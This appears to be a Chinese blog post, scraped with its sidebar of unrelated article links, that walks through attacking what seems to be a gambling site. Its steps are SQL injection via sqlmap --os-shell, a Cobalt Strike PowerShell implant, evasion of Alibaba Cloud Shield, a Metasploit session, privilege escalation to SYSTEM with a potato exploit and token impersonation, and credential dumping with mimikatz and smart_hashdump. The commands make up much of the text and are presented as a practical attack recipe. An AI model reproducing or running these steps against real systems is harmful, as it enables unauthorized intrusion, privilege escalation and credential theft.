当前位置：网站首页>渗透实战-SQLServer提权
渗透实战-SQLServer提权
2022-07-04 03:32:00 【amingMM】
技术点：
云盾躲避
cs / msf 配合上线
0x00 打点前提
BC站 登录界面
sqlmap 直接跑 sql盲注
sqlmap -u "http://127.0.0.1/Login/index " --form --batch --os-shell
os-shell
0x01 上线CS
Cobalt Strike
● 创建监听
生成一个Powershell command的木马
丢到刚刚的shell命令行里面去
● 查看权限
当前的shell权限，只有nt service\mssqlserver，权限很低
0x02 提权
● 查看补丁
安装了154个补丁
修补程序: 安装了 154 个修补程序。
[01]: KB2959936
[02]: KB3191564
[03]: KB2896496
[04]: KB2919355
[05]: KB2920189
[06]: KB2928120
[07]: KB2931358
[08]: KB2931366
[09]: KB2933826
[10]: KB2938066
[11]: KB2938772
[12]: KB2949621
[13]: KB2954879
[14]: KB2958262
[15]: KB2958263
[16]: KB2961072
[17]: KB2965500
[18]: KB2966407
[19]: KB2967917
[20]: KB2971203
[21]: KB2971850
[22]: KB2973351
[23]: KB2973448
[24]: KB2975061
[25]: KB2976627
[26]: KB2977629
[27]: KB2981580
[28]: KB2987107
[29]: KB2989647
[30]: KB2989930
[31]: KB2998527
[32]: KB3000850
[33]: KB3003057
[34]: KB3004545
[35]: KB3008242
[36]: KB3011780
[37]: KB3012702
[38]: KB3013172
[39]: KB3013410
[40]: KB3013538
[41]: KB3013769
[42]: KB3013791
[43]: KB3013816
[44]: KB3014442
[45]: KB3019978
[46]: KB3021674
[47]: KB3023266
[48]: KB3024751
[49]: KB3024755
[50]: KB3027209
[51]: KB3030947
[52]: KB3031044
[53]: KB3033446
[54]: KB3034348
[55]: KB3035126
[56]: KB3036612
[57]: KB3038002
[58]: KB3042058
[59]: KB3042085
[60]: KB3043812
[61]: KB3044374
[62]: KB3044673
[63]: KB3045634
[64]: KB3045685
[65]: KB3045717
[66]: KB3045719
[67]: KB3045755
[68]: KB3045999
[69]: KB3046017
[70]: KB3046737
[71]: KB3048043
[72]: KB3054169
[73]: KB3054203
[74]: KB3054256
[75]: KB3054464
[76]: KB3055323
[77]: KB3055343
[78]: KB3055642
[79]: KB3059317
[80]: KB3060681
[81]: KB3060793
[82]: KB3061512
[83]: KB3063843
[84]: KB3071756
[85]: KB3077715
[86]: KB3078405
[87]: KB3078676
[88]: KB3080149
[89]: KB3081320
[90]: KB3082089
[91]: KB3084135
[92]: KB3084905
[93]: KB3086255
[94]: KB3087137
[95]: KB3091297
[96]: KB3092601
[97]: KB3092627
[98]: KB3094486
[99]: KB3095701
[100]: KB3099834
[101]: KB3100473
[102]: KB3102429
[103]: KB3102939
[104]: KB3103616
[105]: KB3103696
[106]: KB3103709
[107]: KB3109103
[108]: KB3109976
[109]: KB3110329
[110]: KB3115224
[111]: KB3121261
[112]: KB3123245
[113]: KB3126041
[114]: KB3126434
[115]: KB3126587
[116]: KB3126593
[117]: KB3132080
[118]: KB3133043
[119]: KB3133690
[120]: KB3134179
[121]: KB3134815
[122]: KB3137728
[123]: KB3138602
[124]: KB3139164
[125]: KB3139398
[126]: KB3139914
[127]: KB3140219
[128]: KB3140234
[129]: KB3144850
[130]: KB3145384
[131]: KB3145432
[132]: KB3146604
[133]: KB3146723
[134]: KB3146751
[135]: KB3147071
[136]: KB3149157
[137]: KB3155784
[138]: KB3156059
[139]: KB3159398
[140]: KB3161949
[141]: KB3162343
[142]: KB3172614
[143]: KB3172729
[144]: KB3175024
[145]: KB3178539
[146]: KB3179574
[147]: KB3185319
[148]: KB4033428
[149]: KB4483187
[150]: KB4486105
[151]: KB4486107
[152]: KB5001403
[153]: KB5007154
[154]: KB5008263
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网
启用 DHCP: 是
使用ms16-075试试
查看AV
https://mrxn.net/avlist/
有阿里云盾
0x03 转场msf
● 新建 payload
选择 Foreign HTTP
在msf上使用
● CS 新建会话
选择你的会话即可派生会话
在msf上等到会话连接(注意：域前置貌似无法派生会话)
权限依旧很低，在CS里面使用文件浏览上传烂土豆
● 在当前会话里面，开始提权：
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
拿到了system权限
0x04 抓取Hash
load mimikatz
creds_all
使用msf自带的：run post/windows/gather/smart_hashdump
直接登录
0x05 清理痕迹
边栏推荐
- Want to do something in production? Then try these redis commands
- Webhook triggers Jenkins for sonar detection
- (column 23) typical C language problem: find the minimum common multiple and maximum common divisor of two numbers. (two solutions)
- Li Chuang EDA learning notes 13: electrical network for drawing schematic diagram
- Examination question bank of constructor decoration direction post skills (constructor) and examination data of constructor decoration direction post skills (constructor) in 2022
- Imperial cms7.5 imitation "D9 download station" software application download website source code
- Add token validation in swagger
- Third party login initial version
- 【.NET+MQTT】.NET6 環境下實現MQTT通信，以及服務端、客戶端的雙邊消息訂閱與發布的代碼演示
- 1day vulnerability pushback skills practice (3)
猜你喜欢
150 ppt! The most complete "fair perception machine learning and data mining" tutorial, Dr. AIST Toshihiro kamishima, Japan
Session learning diary 1
7 * 24-hour business without interruption! Practice of applying multiple live landing in rookie villages
How to use websocket to realize simple chat function in C ＃
MySQL query
Consul of distributed service registration discovery and unified configuration management
PID of sunflower classic
Have you entered the workplace since the first 00???
Setting methods, usage methods and common usage scenarios of environment variables in postman
Monitoring - Prometheus introduction
随机推荐
Contest3145 - the 37th game of 2021 freshman individual training match_ D: Ranking
Code Execution Vulnerability - no alphanumeric rce create_ function()
WordPress collection WordPress hang up collection plug-in
[untitled]
JSON string conversion in unity
[development team follows] API specification
[source code analysis] model parallel distributed training Megatron (5) -- pipestream flush
[UE4] parse JSON string
PMP 考試常見工具與技術點總結
(practice C language every day) pointer sorting problem
Lichuang EDA learning notes 14: PCB board canvas settings
super_ Subclass object memory structure_ Inheritance tree traceability
Imperial cms7.5 imitation "D9 download station" software application download website source code
SQL injection (1) -- determine whether there are SQL injection vulnerabilities
150 ppt! The most complete "fair perception machine learning and data mining" tutorial, Dr. AIST Toshihiro kamishima, Japan
2022 Guangxi provincial safety officer a certificate examination materials and Guangxi provincial safety officer a certificate simulation test questions
1day vulnerability pushback skills practice (3)
Li Chuang EDA learning notes 13: electrical network for drawing schematic diagram
MySQL is dirty
There is no need to authorize the automatic dream weaving collection plug-in for dream weaving collection